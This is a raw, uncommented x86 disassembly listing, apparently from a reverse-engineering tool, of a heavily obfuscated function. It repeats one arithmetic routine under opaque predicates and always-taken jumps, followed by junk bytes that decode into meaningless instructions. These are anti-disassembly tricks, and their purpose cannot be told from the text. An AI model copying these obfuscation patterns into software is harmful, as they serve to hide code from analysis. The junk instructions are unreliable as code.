mulsd xmm1, qword [ebp - 0x10c]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f2904
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x5c]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x60]
add eax, ecx
je 0x100f2904
mov dword [ebp - 0x80], 3
jmp 0x100f2970
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x64]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f2970
mov edx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x80], eax
xor eax, eax
je 0x100f2975
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x10c]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f29f6
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x5c]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x60]
add eax, ecx
je 0x100f29f6
mov dword [ebp - 0x84], 3
jmp 0x100f2a65
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x64]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f2a65
mov edx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x212]
and ax, word [ebp - 0x84]
add ax, ax
movzx ecx, ax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x212]
sub ax, cx
add ax, word [ebp - 0x80]
movzx ecx, ax
mov eax, dword [ebp - 0x48]
mov word [ebp + eax*2 - 0x212], cx
mov esi, dword [ebp - 0x50]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [esi*8]
sub ecx, esi
add ecx, dword [ebp - 0x58]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f2cfe
mov eax, dword [ebp - 0x48]
add eax, 0x7e
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f2add
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0x4c]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f2b60
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x5c]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x60]
add eax, ecx
je 0x100f2b60
mov dword [ebp - 0x78], 3
jmp 0x100f2bcc
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x64]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f2bcc
mov edx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x48]
add eax, 0x7e
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f2bda
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0x4c]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f2c5d
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x5c]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x60]
add eax, ecx
je 0x100f2c5d
mov dword [ebp - 0x7c], 3
jmp 0x100f2cc9
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x64]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f2cc9
mov edx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x212]
and ax, word [ebp - 0x7c]
add ax, ax
movzx ecx, ax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x212]
sub ax, cx
add ax, word [ebp - 0x78]
movzx ecx, ax
mov eax, dword [ebp - 0x48]
mov word [ebp + eax*2 - 0x212], cx
movsx eax, byte [0x1017b440]
imul eax, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x54]
lea ecx, [eax + eax*2]
movsx eax, byte [0x1017b001]
sub ecx, edx
add ecx, dword [ebp - 0x60]
add eax, ecx
je 0x100f2f68
xor eax, eax
je 0x100f2d28
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx - 0x9f73], cl
dec dword [ebx - 0x30fc5783]
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0xa0]
mov edi, dword [ebp - 0x58]
add ecx, edi
mov dword [ebp - 0x68], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x120]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f2dbb
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x5c]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x60]
add eax, ecx
je 0x100f2dbb
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xb8], 3
add eax, edi
jmp 0x100f2e30
mov esi, dword [ebp - 0x50]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f2e33
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f2e38
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x120]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f2ebb
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x54]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, edx
add ecx, dword [ebp - 0x60]
add eax, ecx
je 0x100f2ebb
mov dword [ebp - 0xb4], 3
jmp 0x100f2f2d
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f2f2a
mov edx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0xb4], eax
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x212]
and ax, word [ebp - 0xb4]
add ax, ax
movzx ecx, ax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x212]
sub ax, cx
add ax, word [ebp - 0xb8]
movzx ecx, ax
mov eax, dword [ebp - 0x48]
mov word [ebp + eax*2 - 0x212], cx
mov eax, dword [ebp - 0x48]
mov esi, dword [ebp - 0x50]
inc eax
mov edi, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x13
jb 0x100f2350
movq xmm0, qword [0x10144710]
mov eax, dword [0x10144718]
mov byte [ebp - 0x214], 1
movq qword [ebp - 0x118], xmm0
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x48], 0
cmp dword [ebp - 0x48], 5
jae 0x100f3c6f
call fcn.100fb5a0
movsx edi, al
mov dword [ebp - 0x54], edi
call fcn.100fb5d0
movsx edx, al
mov dword [ebp - 0x58], edx
call fcn.100fb5b0
movsx eax, al
mov dword [ebp - 0x50], eax
call fcn.100fb580
movsx esi, al
call fcn.100fb590
movsx eax, al
imul esi, eax
mov dword [ebp - 0x5c], esi
call fcn.100fb5c0
movsx eax, al
mov dword [ebp - 0x60], eax
lea eax, [eax + esi*8]
mov dword [ebp - 0xd4], eax
lea eax, [esi + esi*8]
mov esi, dword [ebp - 0x50]
mov dword [ebp - 0x64], eax
nop dword [eax]
movsx eax, byte [0x1017b440]
imul eax, edi
lea ecx, [eax + eax*2]
movsx eax, byte [0x1017b001]
add ecx, ecx
sub ecx, edx
add ecx, esi
add eax, ecx
je 0x100f3277
xor eax, eax
je 0x100f3037
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8ba475], cl
mov al, byte [0xc86e0f66]
movsx eax, byte [0x1017b002]
xor edx, edx
mov esi, dword [ebp - 0x5c]
mov edi, dword [ebp - 0x60]
movd xmm1, eax
movsx eax, byte [0x1017b001]
lea ecx, [esi + esi*8]
cvtdq2pd xmm1, xmm1
add ecx, edi
mov dword [ebp - 0xb8], ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xc0]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f30cb
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x54]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x58]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f30cb
mov dword [ebp - 0x90], 3
lea eax, [edi + esi]
jmp 0x100f313d
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f3140
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f3145
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758bac7d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x54]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xc0]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xb8]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f31cd
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, dword [ebp - 0x58]
add ecx, esi
add eax, ecx
je 0x100f31cd
mov dword [ebp - 0x94], 3
jmp 0x100f323c
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f323c
mov edx, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x116]
and ax, word [ebp - 0x94]
add ax, ax
movzx ecx, ax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x116]
sub ax, cx
add ax, word [ebp - 0x90]
movzx ecx, ax
mov eax, dword [ebp - 0x48]
mov word [ebp + eax*2 - 0x116], cx
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0xd4]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f39ef
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
sub ecx, dword [ebp - 0x58]
add ecx, esi
add eax, ecx
je 0x100f3503
xor eax, eax
je 0x100f32c1
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x8d89cf03]
dec eax
invalid
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0xb8], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x104]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f3354
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x54]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x58]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f3354
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x88], 3
add eax, edi
jmp 0x100f33c9
mov esi, dword [ebp - 0x5c]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f33cc
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f33d1
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758bac7d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x54]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x104]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xb8]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f3459
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, dword [ebp - 0x58]
add ecx, esi
add eax, ecx
je 0x100f3459
mov dword [ebp - 0x8c], 3
jmp 0x100f34c8
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f34c8
mov edx, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x116]
and ax, word [ebp - 0x8c]
add ax, ax
movzx ecx, ax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x116]
sub ax, cx
add ax, word [ebp - 0x88]
movzx ecx, ax
mov eax, dword [ebp - 0x48]
mov word [ebp + eax*2 - 0x116], cx
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
add ecx, ecx
sub ecx, dword [ebp - 0x58]
add ecx, esi
add eax, ecx
je 0x100f3760
xor eax, eax
je 0x100f3528
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x4d89cf03]
cwde
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0x68], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x10c]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f35b5
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x54]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x58]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f35b5
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x80], 3
add eax, edi
jmp 0x100f3627
mov esi, dword [ebp - 0x5c]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f362a
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f362f
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x10c]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f36eb
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x54]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x58]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f36eb
mov dword [ebp - 0x84], 3
mov edi, dword [ebp - 0x60]
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x116]
and ax, word [ebp - 0x84]
add ax, ax
movzx ecx, ax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x116]
sub ax, cx
add ax, word [ebp - 0x80]
movzx ecx, ax
mov eax, dword [ebp - 0x48]
mov word [ebp + eax*2 - 0x116], cx
jmp 0x100f376b
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f36ab
mov edx, dword [ebp - 0x5c]
mov edi, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
lea ecx, [edx + edi]
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x84], eax
jmp 0x100f36ae
mov eax, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add eax, edi
mov dword [ebp - 0x68], eax
mov esi, dword [ebp - 0x5c]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [esi*8]
sub ecx, esi
add ecx, edi
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f39e9
mov eax, dword [ebp - 0x48]
add eax, 0x7e
mov dword [ebp - 0xb8], eax
xor eax, eax
je 0x100f37ad
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xb8]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f3839
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x54]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x58]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f3839
mov eax, dword [ebp - 0x5c]
add eax, dword [ebp - 0x60]
mov dword [ebp - 0x78], 3
jmp 0x100f38ae
mov esi, dword [ebp - 0x5c]
xor edx, edx
mov edi, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f38b1
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x48]
add eax, 0x7e
mov dword [ebp - 0xb8], eax
xor eax, eax
je 0x100f38c2
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
